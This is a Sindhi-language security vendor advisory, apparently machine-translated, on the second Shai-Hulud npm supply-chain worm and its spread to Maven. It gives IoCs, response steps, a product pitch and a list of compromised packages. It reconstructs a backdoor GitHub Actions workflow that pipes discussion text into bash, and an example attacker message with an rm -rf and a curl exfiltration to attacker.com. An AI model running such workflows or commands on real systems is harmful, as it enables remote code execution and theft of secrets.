TL، ڊاڪٽر
24 نومبر 2025 تي، محققن دريافت ڪيو شائي حلود: ٻيو اچڻ، جي هڪ نئين لهر اين پي ايم سپلاءِ چين حملو جيڪو اين پي ايم پيڪيجز کي ٻيهر متاثر ڪري ٿو، سندون چوري ڪري ٿو، ۽ ڊولپر مشينن ۾ پکڙجي ٿو ۽ CI/CD pipelines. پهرين واقعي جي برعڪس، هي نسخو Bun رن ٽائم کي اڏام تي انسٽال ڪري ٿو، لڪيل GitHub Actions کي پوئين دروازن تي ترتيب ڏئي ٿو، ۽ هڪ تباهي ڪندڙ وائپر شامل ڪري ٿو جيڪو Linux، macOS، ۽ Windows تي پوري گهر ڊائريڪٽري کي ختم ڪرڻ جي قابل آهي. ڪلاڪن اندر، سمجھوتي ٿيل پيڪيجز جو تعداد 830 کان وڌي ويو، تصديق ڪري ٿو ته هي هڪ سادو قسم نه آهي پر هڪ وڏو واڌارو آهي. اصل ڪيڙو.
اثر: ڪو به ڊولپر يا سي آءِ رنر جيڪو پبلڪ اين پي ايم پيڪيجز انسٽال ڪري رهيو آهي شايد ان کي ظاهر ڪيو ويو هجي. متاثر ٿيل پيڪيجز کي ميون سينٽرل ۾ خودڪار طريقي سان آئيني ۾ اچڻ کان پوءِ جاوا ٽيمون پڻ خطري ۾ آهن.
فوري عمل: ڄاتل سڃاتل خراب ورجن کي بلاڪ ڪريو، صرف لاڪ فائل انسٽال ڪرڻ کي لاڳو ڪريو، npm، GitHub، ۽ ڪلائوڊ سندون گھمايو، نامعلوم سيلف هوسٽڊ رنرز کي هٽايو، ۽ IoCs جهڙوڪ setup_bun.js، bun_environment.js، ۽ "Sha1-Hulud: The Second Coming" تي مشتمل شڪي GitHub ريپوزٽريز جي نگراني ڪريو.
ڇا بدلجي ويو: اين پي ايم سپلائي چين حملي ۾ شائي هولود جڏهن اهو ماون ڏانهن ٽپو ڏنو
شائي هولود حملي جي ٻئي لهر هڪ وڏي واڌ متعارف ڪرائي. پهرين مهم ۾، ورم اين پي ايم ايڪو سسٽم اندر رهيو. هن ڀيري، مالويئر داخل ٿيو ميون سينٽرل، جاوا ٽيمن کي بي نقاب ڪندي جيڪي ڪڏهن به npm کي هٿ نه لڳايو.
ٽائم لائن ۽ ٽوڪن ونڊو
حملو شروع ٿيو نومبر 24، 2025، npm جي طرفان پنهنجي ورثي جي تصديق ٽوڪن کي ختم ڪرڻ کان اڳ ڊسمبر 9.
اهي پراڻا ٽوڪن چوري ڪرڻ ۽ ٻيهر استعمال ڪرڻ آسان هئا. ڇاڪاڻ ته حملي آورن کي اڃا تائين هن ونڊو دوران انهن تائين رسائي هئي، اهي ڪٽ آف کان اڳ تيز رفتار سان سوين خراب ورزن کي ٻيهر شايع ڪرڻ جي قابل هئا.
مالويئر ميون تائين ڪيئن پهتو
ڪراس رجسٽري جمپ ان ڪري ٿيو جو ايم وي اين پي ايم، هڪ خودڪار مررنگ ٽول جيڪو npm پيڪيجز کي Maven آرٽيفيڪٽس ۾ تبديل ڪري ٿو.
mvnpm سيڪيورٽي چيڪ نٿو ڪري. اهو صرف npm جي شايع ڪيل هر شيءِ کي ٻيهر پيڪيج ڪري ٿو.
نتيجي طور:
- هڪ سمجهوتو ٿيل npm پيڪيج (مثال طور پوسٽ هاگ-نوڊ@4.18.1)
- پاڻمرادو هڪ ميون آرٽيفيڪٽ ۾ تبديل ٿي ويو
org.mvnpm: پوسٽ هاگ نوڊ: 4.18.1 - ۽ ڪنهن کي به اهو احساس ٿيڻ کان اڳ ميون سينٽرل تي شايع ڪيو ويو ته اهو متاثر ٿيو آهي.
هن جو مطلب آهي جاوا ڊولپرز اين پي ايم جي ڀڃڪڙي جو شڪار ٿي ويا، جيتوڻيڪ انهن ڪڏهن به npm پيڪيج انسٽال نه ڪيو هجي.
هي ڇوڪرن کي
هن کي آهي پهريون ڄاتل سڃاتل ڪراس رجسٽري ورمجتي سپلائي چين جو حملو صرف آٽوميشن ذريعي هڪ ماحولياتي نظام کان ٻئي ماحولياتي نظام تائين پکڙجي ٿو.
انهي جي ڪري، ڌماڪي جي ريڊيس ۾ هاڻي جاوا، JVM ورڪ لوڊ، ۽ شامل آهن enterprise ميون سينٽرل تي ڀروسو ڪندڙ نظام ٺاهيو.
شائي هولود 2.0 کي ايترو سنجيده ڇا بڻائي ٿو؟
سڃاڻپ کان بچڻ لاءِ استعمال ٿيندڙ بن رن ٽائم
حملي آور Node.js کان بن رن ٽائم ڏانهن تبديل ٿيا. مالويئر بن کي آن دي فلائي انسٽال ڪري ٿو سيٽ اپ_بن.جي ايس پيڪيج جي انسٽاليشن دوران. هي نوڊ-مخصوص نگراني کان بچي ٿو ۽ حملي ڪندڙن کي هڪ تمام وڏي مبهم پيل لوڊ لاءِ تيز عملدرآمد ڏئي ٿو.
GitHub ڪارناما جيڪي ڪمانڊ بيڪ ڊور طور استعمال ٿين ٿا
هڪ دفعو انسٽال ٿيڻ کان پوءِ، مالويئر هڪ لڪيل GitHub Actions خود ميزباني ڪيل رنر ٺاهي ٿو $گهر/.dev-env/. هي ونڊوز، ميڪ او ايس ۽ لينڪس تي ڪم ڪري ٿو. حملي آور صرف گٽ هب بحثن ۾ پيغام پوسٽ ڪري ڪمانڊ هلائي سگهن ٿا هڪ سمجهوتي ٿيل ريپوزٽري تي. هڪ ورڪ فلو فائل انهن پيغامن کي پروسيس ڪري ٿي ۽ انهن کي شيل ڪمانڊ جي طور تي عمل ڪري ٿي.
بلٽ ان وائپر
جيڪڏهن مالويئر GitHub يا npm سان تصديق نٿو ڪري سگهي، ته اهو متاثر جي هوم ڊاريڪٽري کي صاف ڪري ٿو.
- ونڊوز تي اهو استعمال ڪري ٿو ڊيل, rd، ۽ سائفر / ڊبليو فائلن کي صاف ڪرڻ لاءِ.
- لينڪس ۽ ميڪ او ايس تي اهو ڊيٽا کي اوور رائٽ ڪري ٿو ٽڪرا ٽڪرا ڪرڻ ۽ پوءِ ڊائريڪٽريون هٽائي ٿو.
هڪ تمام گهڻي شور واري مهم
جيتوڻيڪ مالويئر ڪجهه چوري استعمال ڪري ٿو (مثال طور، بن استعمال ڪندي)، مجموعي طور تي مهم ڪجهه به خاموش آهي. اهو جارحاڻي طور تي سمجھوتي ٿيل پيڪيجز کي ٻيهر شايع ڪري ٿو، سوين يا هزارين نوان ريپوزٽريون ٺاهي ٿو، وڏي تعداد ۾ سند ڊمپ اپ لوڊ ڪري ٿو، ۽ ڊولپر مشينن تي ڊگهي عرصي تائين خود ميزباني ڪيل رنرز نصب ڪري ٿو. ان مان ڪو به گهٽ پروفائل رويي ناهي. هن حملي جو پيمانو، رفتار، ۽ آپريشنل "بلند آواز" اڪثر سپلائي چين سمجھوتن جي مقابلي ۾ نمايان آهي، جيڪي ممڪن حد تائين غائب رهڻ کي ترجيح ڏين ٿا..
وسيع اثر
حملي آورن ڪيترن ئي مشهور پيڪيجز کي لکين ماهوار ڊائون لوڊ سان سمجهوتو ڪيو، جنهن ۾ شامل آهن:
زپيئر، اي اين ايس ڊومينز، پوسٽ مين، پوسٽ هاگ، ايسينڪ اي پي آءِ، ۽ وائس فلو.
ممڪن انتساب سگنل
هتي منسوب ڪرڻ ڏکيو آهي، ۽ مهم جي پويان ڪو به تصديق ٿيل ذريعو ناهي. هڪ وڏي سيڪيورٽي فرم نوٽ ڪري ٿي ته آپريشن اڳوڻي شائي-هولود ورم سان مشابهت رکي ٿو، پر پيل لوڊ ڪيئن ٺاهيو ويو آهي ۽ مالويئر ڪيئن پکڙجي ٿو ان ۾ فرق آپريٽرن جي هڪ مختلف سيٽ جي امڪان ڏانهن اشارو ڪري ٿو. انهن جي تشخيص کي نمايان ڪري ٿو ته ڪيترن ئي ماحولن npm کي هٽائڻ کان اڳ سمجھوتو ڪيل پيڪيجز کي ڊائون لوڊ ڪيو، جيڪو مختصر مدت جي ٽيسٽ جي بدران حقيقي دنيا جي نمائش جو مشورو ڏئي ٿو.
ڏنو ويو آهي ته حڪمت عملي پهرين لهر جي گونج آهي پر اهم هنڌن تي مختلف آهن، خاص طور تي پيل لوڊ جي جوڙجڪ، پروپيگيشن منطق، ۽ آپريشنل "اسٽائل" ۾، هڪ ڪاپي ڪيٽ منظرنامو ممڪن آهي. حملي آورن شايد شائي-هلود کان خيال قرض ورتا هجن پر انهن جي پنهنجي اوزار کي لاڳو ڪيو هجي. اهو هڪ ٻيو گروپ نمائندگي ڪري سگهي ٿو جيڪو مڪمل طور تي اڳوڻي مهم جي نقل ڪرڻ جي ڪوشش ڪري رهيو آهي.
هن موقعي تي، ڪو به مضبوط ثبوت ناهي ته اهو ڪنهن به ڄاتل سڃاتل اداڪار، مالي طور تي متحرڪ گروپ، يا رياست سان ڳنڍيل اداري سان ڳنڍيل هجي. اصل ورم سان اوورليپ حقيقي آهي، پر فرق انتساب کي "غير تصديق ٿيل" درجي ۾ رکڻ لاءِ ڪافي اهم آهن.
ميون ۾ پکڙجي وڃو
هڪ وڏي سيڪيورٽي فرم تصديق ڪئي ته خراب اين پي ايم پيڪيجز خودڪار طريقي سان ميون ڏانهن ٻيهر شايع ڪيا ويا هئا ايم وي اين پي ايم، هڪ اوزار جيڪو دستي جائزو کانسواءِ npm پيڪيجز کي Maven آرٽيفيڪٽس ۾ تبديل ڪري ٿو.
هيٺ ڏنل پيڪيج ميون سينٽرل ڏانهن موڪليو ويو: org.mvnpm: پوسٽ هاگ نوڊ: 4.18.1
ڇاڪاڻ ته mvnpm صرف npm جي شايع ٿيندڙ هر شيءِ کي ٻيهر پيڪيج ڪري ٿو، متاثر ٿيل ورجن جاوا ايڪو سسٽم ۾ ظاهر ڪيا ويا ان کان اڳ جو ڪو به ان کي سمجهي.
ميون سينٽرل 25 نومبر 2025 تي متاثر ٿيل نوادرات کي هٽائي ڇڏيو ۽ ساڳئي ڪراس رجسٽري مسئلن کي روڪڻ لاءِ ڪنٽرول سخت ڪرڻ شروع ڪيا.
ان جو مطلب آهي ته جاوا پروجيڪٽ جيڪي npm سان سڌو سنئون ڪنيڪشن کان سواءِ آهن، اڃا تائين بي نقاب ٿي سگهيا آهن.
شائي هولود 2.0 حملو ڪيئن ڪم ڪندو آهي
انفيڪشن جو وهڪرو
- هڪ بدڪار اڳ ۾ انسٽال ڪريو اسڪرپٽ شامل ڪئي وئي آهي package.json.
- سيٽ اپ_بن.جي ايس جيڪڏهن ڪو متاثر ٿيل شخص جي مشين غائب هجي ته ان تي بن انسٽال ڪري ٿو.
- بن_ماحول.جي ايس (480k کان وڌيڪ لڪيرون مبهم ڪوڊ) پس منظر ۾ هلن ٿيون.
- مالويئر ٽرفل هاگ جهڙين ٽيڪنڪ استعمال ڪندي سندون اسڪين ڪري ٿو. اهو ڳولي ٿو
- AWS، GCP، ۽ Azure ڪيز
- گٽ هب ٽوڪن
- اين پي ايم ٽوڪن
- سي آءِ سسٽم جا راز
- AWS، GCP، ۽ Azure ڪيز
- چوري ٿيل ڊيٽا عوامي GitHub ريپوزٽريز تي اپ لوڊ ڪيو ويندو آهي جن جي وضاحت "Sha1-Hulud: The Second Coming" آهي.
- قبضو ڪيل ٽوڪن استعمال ڪندي، مالويئر پيڪيجز جا سمجھوتا ٿيل ورجن شايع ڪري ٿو، رسائي لائق GitHub ريپوزٽريز کي متاثر ڪري ٿو، ۽ ريموٽ ڪوڊ ايگزيڪيوشن لاءِ مسلسل خود ميزباني ڪيل رنرز کي انسٽال ڪري ٿو.
خراب GitHub ورڪ فلوز
شائي-هلود اين پي ايم سپلائي چين حملي جي ٻئي لهر دوران، مالويئر پيدا ڪيو ٻہ لڪيل GitHub ايڪشن ورڪ فلو سمجھوتي ٿيل ذخيرن اندر. اهي ورڪ فلو حملي آورن کي ريموٽ ڪوڊ ايگزيڪيوشن، ڊگهي مدت جي استقامت، ۽ سسٽم رازن تائين مڪمل رسائي ڏين ٿا.
1. پٺئين دروازي جو ڪم فلو (discussion.yaml)
سڀ کان خطرناڪ ڪم ڪندڙ ٻڌندو آهي گٽ هب بحث واقعا. جڏهن ڪو بحث مباحثو پيغام ٺاهيو ويندو آهي يا ايڊٽ ڪيو ويندو آهي، ته ورڪ فلو پيغام جي جسم کي پڙهي ٿو ۽ ان کي هڪ طور تي عمل ڪري ٿو شيل ڪمانڊ متاثر جي مشين تي.
هيٺ ڏنل خراب ڪم جي وهڪري جو هڪ آسان نسخو آهي، جيڪو مشاهدو ڪيل نمونن مان ٻيهر تعمير ڪيو ويو آهي:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
نازڪ لڪير هي آهي:
${{ github.event.discussion.body }}
ان جو مطلب آهي ته حملو ڪندڙ ڪنهن به حڪم کي GitHub بحث ۾ پوسٽ ڪري سگهي ٿو، ۽ خود ميزبان رنر ان کي فوري طور تي عمل ڪري ٿو. ڇاڪاڻ ته خود ميزبان رنرز کي اڪثر اندروني نيٽ ورڪن، ڪلائوڊ سندون، ۽ CI رازن تائين رسائي هوندي آهي، هي پوئين دروازو حملي آور کي شائي هولود اين پي ايم سپلائي چين حملي دوران مڪمل ريموٽ ڪوڊ عملدرآمد ڏئي ٿو.
ڪمانڊ انجڪشن جو استحصال
هي ورڪ فلو GitHub Actions جي اظهار جي عمل جي غلط استعمال ڪري ٿو. ان پٽ کي محفوظ اسٽرنگ تائين محدود ڪرڻ جي بدران، اهو خام بحث جي مواد کي پڙهي ٿو ۽ ان کي سڌو سنئون شيل ڏانهن پائپ ڪري ٿو. نتيجي طور، حملي آور کي صرف هڪ پيغام پوسٽ ڪرڻ جي ضرورت آهي جهڙوڪ:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
ڇاڪاڻ ته هي رويو شائي هولود اين پي ايم سپلائي چين حملي دوران بار بار ظاهر ٿيو، اهو واضح ترين اشارن مان هڪ بڻجي ويو ته مالويئر گٽ هب ايڪشنز کي ريموٽ ڪمانڊ چينل طور استعمال ڪري رهيو هو.
خود ميزباني ڪندڙ ڊوڙندڙ هن کي وڌيڪ خراب ڪن ٿا ڇاڪاڻ ته اهي:
- ڪمپني نيٽ ورڪن اندر هلائڻ
- بادل رکو يا CI/CD اعتبار
- استعمال ڪندڙ جي اجازت سان عمل ڪريو
- GitHub جي سينڊ باڪسنگ يا آئسوليشن نه آهي
هي حملي آورن کي اندروني ماحول ۾ هڪ مستقل ڪمانڊ چينل ڏئي ٿو.
راز ۽ نظام گڏ ڪرڻ جو ڪم فلو
پوئين دروازي کان علاوه، مالويئر هڪ ٻيو ڪم فلو ڇڏي ٿو جنهن جو مقصد متاثر ٿيل سسٽم مان حساس ڊيٽا گڏ ڪرڻ ۽ ذخيرو ڪرڻ آهي.
اهي ڪم جا وهڪرا گڏ ٿين ٿا:
- ڪلائوڊ سندون
- ماحولياتي متغير
- ڊاريڪٽري لسٽنگ
- ٽرفل هاگ طرز جا خفيه اسڪين
اهي گڏ ڪيل ڊيٽا کي فائلن ۾ ذخيرو ڪندا آهن جهڙوڪ:
- ڪلائوڊ.جيسن
- ماحول. جيسن
- مواد. جيسن
- ٽرفل سيڪريٽس. جيسن
اهي فائلون پوءِ حملي آور جي ڪنٽرول ٿيل GitHub ريپوزٽريز تي اپ لوڊ ڪيون وينديون آهن جن تي ليبل لڳل هوندو آهي "شا1-هلود: ٻيو اچڻ"، جتي سوين يا هزارين ڍير ڏٺا ويا.
سمجهوتي جا اشارا
| عڪس | SHA256 |
|---|---|
| سيٽ اپ_بن.جي ايس | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| بن_ماحول.جي ايس | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
ٻيا ڳاڙها جهنڊا
- .github/workflows/discussion.yaml
- $گهر/.dev-env/ غير متوقع ڊوڙندڙن تي مشتمل
- توهان جي اڪائونٽ تي ٺاهيل عوامي GitHub ريپوز جن ۾ "Sha1-Hulud: The Second Coming" شامل آهن.
اپڊيٽ ٿيل ميٽرڪس (26 نومبر 2025 تائين)
| ميٽرڪ | ڳڻپ |
|---|---|
| npm پيڪيجز سان سمجهوتو ڪيو ويو | 830 + |
| متاثر ٿيل GitHub ريپوزٽريز | 28,000 + |
| خفيه فائلون اپ لوڊ ڪيون ويون | 5,000 + |
| ڪُل راز گڏ ڪيا ويا | 11,858 |
| صحيح راز | 2,298 |
هاڻي ڇا ڪجي: شائي هولود اين پي ايم سپلائي چين حملي جو جواب ڏيڻ
شائي هولود اين پي ايم سپلاءِ چين حملي کي تيز ۽ منظم جواب جي ضرورت آهي. جيئن ته هي ٻي لهر اين پي ايم، گٽ هب، ڊولپر مشينن ۽ حتي ميون سينٽرل تائين پکڙيل آهي، ٽيمن کي ڪنهن به ايڪسپوزر کي ڳولڻ، ڪنٽرول ڪرڻ ۽ مڪمل طور تي درست ڪرڻ لاءِ تيزي سان هلڻ گهرجي. هيٺ ڏنل قدم توهان کي صحيح ترتيب ۾ رد عمل ڏيڻ ۽ وڌيڪ سمجهوتي جي خطري کي گهٽائڻ ۾ مدد ڪن ٿا.
ڳولڻ
- "Sha1-Hulud: The Second Coming" جي وضاحت سان ريپوز لاءِ GitHub تي ڳولا ڪريو.
- پيڪيج جي انسٽاليشن دوران بن انسٽاليشن لاگز ڏسو.
- غير متوقع لائف سائيڪل اسڪرپٽ لاءِ package.json فائلن جو معائنو ڪريو، خاص طور تي اڳ ۾ انسٽال ڪريو.
- ڳولا لاء $گهر/.dev-env/ ڊولپر يا سي آءِ سسٽم تي.
- مشڪوڪ رليز لاءِ GitHub ۽ npm پبلشنگ لاگز جو جائزو وٺو.
ماتحت
- سڀ سندون گھمايو: GitHub، npm، cloud، CI راز، API ڪيز.
- اڻڄاتل خود ميزباني ڪيل رنرز کي غير فعال ڪريو ۽ هٽايو.
- ريپو ٺاهڻ کي عارضي طور تي بند ڪريو.
- پنهنجي انحصار گراف مان متاثر ٿيل ورجن هٽايو.
علاج
- متاثر ٿيل نظامن کي صاف ڪريو.
- انجيڪٽ ٿيل فائلن لاءِ سڀني GitHub Actions ورڪ فلوز جو جائزو وٺو.
- غير معمولي حڪمن يا رن لاءِ پنهنجا CI لاگز ڳوليو.
سڃاتل سٺي پيڪيج ورزن مان ٻيهر تعمير ڪريو.
ڪيئن زائيگيني شائي-هولود جي ٻئي اچڻ وانگر حملن کي روڪڻ ۾ مدد ڪري ٿي
شائي-هولود سيڪنڊ ڪمنگ جهڙي جارحاڻي مهم کان پوءِ، ٽيمن کي دستي چيڪن کان وڌيڪ جي ضرورت آهي. انهن کي خودڪار تحفظ جي ضرورت آهي جيڪو مالويئر کي ڊولپرز، سي آءِ رنرز، يا پيداوار سسٽم تائين پهچڻ کان اڳ بلاڪ ڪري ٿو. هي اهو هنڌ آهي جتي زائيگيني هڪ وڏو فائدو فراهم ڪري ٿو.
مالويئر ارلي وارننگ (MEW): خطرن جي پکڙجڻ کان اڳ انهن جي سڃاڻپ ڪريو
زائيگيني جو ارلي وارننگ انجن حقيقي وقت ۾ نوان ۽ اپڊيٽ ٿيل اوپن سورس پيڪيجز اسڪين ڪري ٿو. اهو مشڪوڪ رويي کي نشانو بڻائي ٿو جهڙوڪ:
- مبهم جاوا اسڪرپٽ يا وڏو بنڊل ڪوڊ
- لائف سائيڪل اسڪرپٽ جيڪي ٻاهرين رن ٽائمز کي انسٽال ڪن ٿا جهڙوڪ بن
- GitHub، npm يا ڪلائوڊ اينڊ پوائنٽس سان غير متوقع ڪنيڪشن
- ڊراپر جيڪي لکن ٿا
$HOME,.dev-env/يا ورڪ فلو فولڊر
MEW ٻنهي شائي-هولود لهرن ۾ استعمال ٿيندڙ نمونن جو پتو لڳايو، جيڪو ٽيمن کي حملي آورن جي انفيڪشن کي وڌيڪ پکيڙڻ کان اڳ رد عمل ظاهر ڪرڻ ۾ مدد ڪري ٿو.
Guardrails in CI/CD خراب پيڪيجز کي بلاڪ ڪريو
زائيگيني زور ڏئي ٿو guardrails جيڪي غير محفوظ آپريشن کي خودڪار طريقي سان روڪين ٿا:
- CI pipelines لڪيل پري انسٽال يا پوسٽ انسٽال اسڪرپٽ سان پيڪيجز انسٽال نٿا ڪري سگهن.
- جڏهن ڪو پيڪيج ڪم جي وهڪري ٺاهڻ جي ڪوشش ڪندو آهي ته تعمير ناڪام ٿي ويندا آهن جهڙوڪ
.github/workflows/discussion.yaml - Pipelines غير قابل اعتماد ذريعن يا پهرين نظر ايندڙ اڪائونٽس مان شايع ٿيل انحصار کي رد ڪن ٿا
هي حملي جي مٿاڇري کي ڊرامائي طور تي گھٽائي ٿو ۽ مالويئر کي CI نوڪرين اندر هلڻ کان روڪي ٿو.
رازن جي حفاظت ڌماڪي جي ريڊيس کي گھٽائي ٿي
ڇاڪاڻ ته شائي-هولود ڪلائوڊ ڪيز، گٽ هب ٽوڪن، اين پي ايم ٽوڪن ۽ سي آءِ راز چوري ڪري ٿو، تحفظ کي سندن تي پڻ ڌيان ڏيڻ گهرجي. زائيگيني:
- ڪوڊ، لاگز، ورڪ فلوز ۽ ماحولياتي فائلن اندر ظاهر ٿيل رازن کي ڳولي ٿو
- اعليٰ خطري واري سند کي خودڪار طريقي سان گھمائي ٿو
- ڊگهي مدت جي سمجهوتي کي محدود ڪرڻ لاءِ مختصر مدت جي ٽوڪن کي لاڳو ڪري ٿو
جيتوڻيڪ ڪو حملو ڪندڙ شروعاتي رسائي حاصل ڪري ٿو، چوري ٿيل چاٻيون جلدي بيڪار ٿي وينديون آهن.
آخري نوٽس: ڇو شائي هولود اين پي ايم سپلائي چين حملو اڃا تائين اهم آهي
هن شائي-هلود جو ٻيو اچڻ واقعو ڏيکاري ٿو ته ڪيتري آساني سان هڪ جديد اين پي ايم سپلاءِ چين حملو ماحولياتي نظام ۾ منتقل ٿي سگھي ٿو. هن صورت ۾، مالويئر npm کان Maven ڏانهن ٽپو ڏنو ڇاڪاڻ ته خودڪار مررنگ اوزار جهڙوڪ ايم وي اين پي ايم تصديق کان سواءِ سمجھوتو ٿيل پيڪيجز کي ٻيهر شايع ڪيو ويو. نتيجي طور، جاوا ٽيمون بي نقاب ٿي ويون جيتوڻيڪ انهن ڪڏهن به اين پي ايم کي سڌو سنئون استعمال نه ڪيو. اهو واضح ڪري ٿو ته ڪراس رجسٽري ورڪ فلو کي فوري طور تي جائزو ۽ مضبوط حفاظتي اپائن جي ضرورت آهي.
وڌيڪ، هن مهم جو پيمانو ۽ رويو ظاهر ڪري ٿو ته حملي آور اڄ ڪيئن ڪم ڪن ٿا. خاموش رهڻ جي بدران، اهي هڪ ئي وقت سوين پيڪيجز شايع ڪن ٿا، لڪيل GitHub رنرز کي ترتيب ڏين ٿا، وڏي تعداد ۾ راز چوري ڪن ٿا، ۽ جيڪڏهن ڪجهه به ناڪام ٿئي ٿو ته هڪ تباهي ڪندڙ وائپر به شامل ڪن ٿا. نتيجي طور، دستي جائزو خودڪار ۽ رفتار جي هن سطح سان گڏ نه رهندا آهن. ٽيمن کي پيڪيج، ذريعو، ۽ تي مسلسل، حقيقي وقت جي تحفظ جي ضرورت آهي. pipeline تہه.
ڇو مسلسل Pipeline Security هاڻي ضروري آهي
حملا جهڙوڪ شائي-هلود جو ٻيو اچڻ ارتقا جاري رهندو. تنهن ڪري، ايندڙ لهر کي روڪڻ لاءِ ڪنٽرول جي ضرورت آهي جيڪي خودڪار طريقي سان اندر ڪم ڪن ٿا CI/CD، سمجھوتي کان پوءِ نه. جديد دفاع کي شروعاتي مالويئر جي ڳولا، سخت انحصار جي تصديق، پاليسي لاڳو ڪرڻ، ۽ ڳجهي تحفظ کي گڏ ڪرڻ گهرجي ته جيئن خراب ڪوڊ ترقياتي ماحول مان بغير ڪنهن ڌيان جي منتقل نه ٿي سگهي.
زائيگيني خودڪار پهچائڻ سان هن تبديلي جي حمايت ڪري ٿو guardrails سڄي سافٽ ويئر سپلائي چين ۾. اهو انسٽاليشن کان اڳ مشڪوڪ پيڪيجز جي سڃاڻپ ڪري ٿو، محفوظ انحصار ورزن کي لاڳو ڪري ٿو، غير محفوظ ورڪ فلو کي بلاڪ ڪري ٿو، ظاهر ٿيل رازن کي ڳولي ٿو، ۽ غير معمولي تي الرٽ ڪري ٿو. pipeline سرگرمي. نتيجي طور، ٽيمون محفوظ رهنديون آهن جيتوڻيڪ سپلائي چين جا حملا تيزي سان پکڙجن ٿا ۽ ماحولياتي نظام جي حدن کي پار ڪن ٿا.
سمجھوتي ٿيل پيڪيجز جي فهرست
متاثر ٿيل پيڪيجز کي پڻ استعمال ڪندي صلاح ڪري سگهجي ٿو #شائي-هلود / #شائي-هلود-ٻيو-اچڻ اندر ٽيگ ڪريو اوپن سورس مال ويئر. ڪام
| پئڪيج | نسخو |
|---|---|
| 02-گونج | 0.0.7 |
| @accordproject/ڪنسرٽو-تجزيو | 3.24.1 |
| @accordproject/ڪنسرٽو-لنٽر | 3.24.1 |
| @accordproject/concerto-linter-ڊفالٽ-قاعدن جو سيٽ | 3.24.1 |
| @accordproject/ڪنسرٽو-ميٽا ماڊل | 3.12.5 |
| @accordproject/ڪنسرٽو-ٽائپس | 3.24.1 |
| @accordproject/مارڪ ڊائون-اِٽ-سسرو | 0.16.26 |
| @accordproject/ٽيمپليٽ-انجڻ | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/مقامي | 0.1.32 |
| @actbase/نوڊ سرور | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-پوسٽ ڪوڊ | 1.0.5 |
| @ايڪٽ بيس/ري ايڪٽ-ڪاڪا او ايس ڊي ڪي | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-چينل | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-ويڊيو | 1.0.13 |
| @actbase/react-native-ٽڪ ٽاڪ | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7، 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2، 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/ايڪسپريس-گرافڪ ايل-پراڪسي | 0.2.8 |
| @antstackio/graphql-باڊي-پارسر | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/منهنجو-انگولر-لب | 0.0.23 |
| @asyncapi/ڊاٽ نيٽ-ربيٽ ايم ڪيو ايم-ٽيمپليٽ | 1.0.2، 1.0.1 |
| @asyncapi/ايڊاويزوئليزر | 1.2.2، 1.2.1 |
| @asyncapi/go-watermill-ٽيمپليٽ | 0.2.76، 0.2.77 |
| @asyncapi/جاوا ٽيمپليٽ | 0.3.6، 0.3.5 |
| @asyncapi/ڪيپر | 0.0.3، 0.0.2 |
| @asyncapi/php-ٽيمپليٽ | 0.1.2، 0.1.1 |
| @asyncapi/python-paho-ٽيمپليٽ | 0.2.15، 0.2.14 |
| @asyncapi/سرور-api | 0.16.25، 0.16.24 |
| @asyncapi/اسٽوڊيو | 1.0.3، 1.0.2 |
| @asyncapi/ويب-ڪمپوننٽ | 2.6.7، 2.6.6 |
| @برائوزر بيس ايڇ ڪيو/بي بي 9 | 1.2.21 |
| @browserbasehq/ڊائريڪٽر-اي | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-سرور-براؤزر بيس | 2.4.2 |
| @browserbasehq/sdk-فنڪشن | 0.0.4 |
| @browserbasehq/اسٽيج هينڊ | 3.0.4 |
| @browserbasehq/اسٽيج هينڊ-ڊاڪس | 1.0.1 |
| @caretive/ڪيريٽ-ڪلائي | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @ڪميٽ/ڦُلڻ | 1.0.3 |
| @ڪميونٽ/مارڪيٽ ڊيٽا | 1.0.2 |
| @ڪميونٽ/مارڪيٽ-ڊيٽا-چارٽجز | 2.3.1 |
| @dev-blinq/ai-qa-لاجڪ | 1.0.19 |
| @dev-blinq/ڪڪڙ-جي ايس | 1.0.131 |
| @ديو-بلينڪ/ڪڪڙ_ڪلائنٽ | 1.0.738 |
| @dev-blinq/ui-سسٽمز | 1.0.93 |
| @ensdomains/پتو-انڪوڊر | 1.1.5 |
| @ensdomains/بليڪ لسٽ | 1.0.1 |
| @ensdomains/بفر | 0.1.2 |
| @ensdomains/ccip-read-cf-ڪم ڪندڙ | 0.0.4 |
| @ensdomains/ccip-read-dns-گيٽ وي | 0.1.1 |
| @ensdomains/ccip-ريڊ-روٽر | 0.0.7 |
| @ensdomains/ccip-ريڊ-ورڪر-ويم | 0.0.4 |
| @ensdomains/ڪنٽينٽ-هيش | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-اينڪرز | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/ڊورين | 0.1.2 |
| @ensdomains/ڊورين-مڊل ويئر | 0.0.2 |
| @ensdomains/ens-آرڪائيو ٿيل-معاهدا | 0.0.3 |
| @ensdomains/ens-اوتار | 1.0.4 |
| @ensdomains/ens-معاهدو | 1.6.1 |
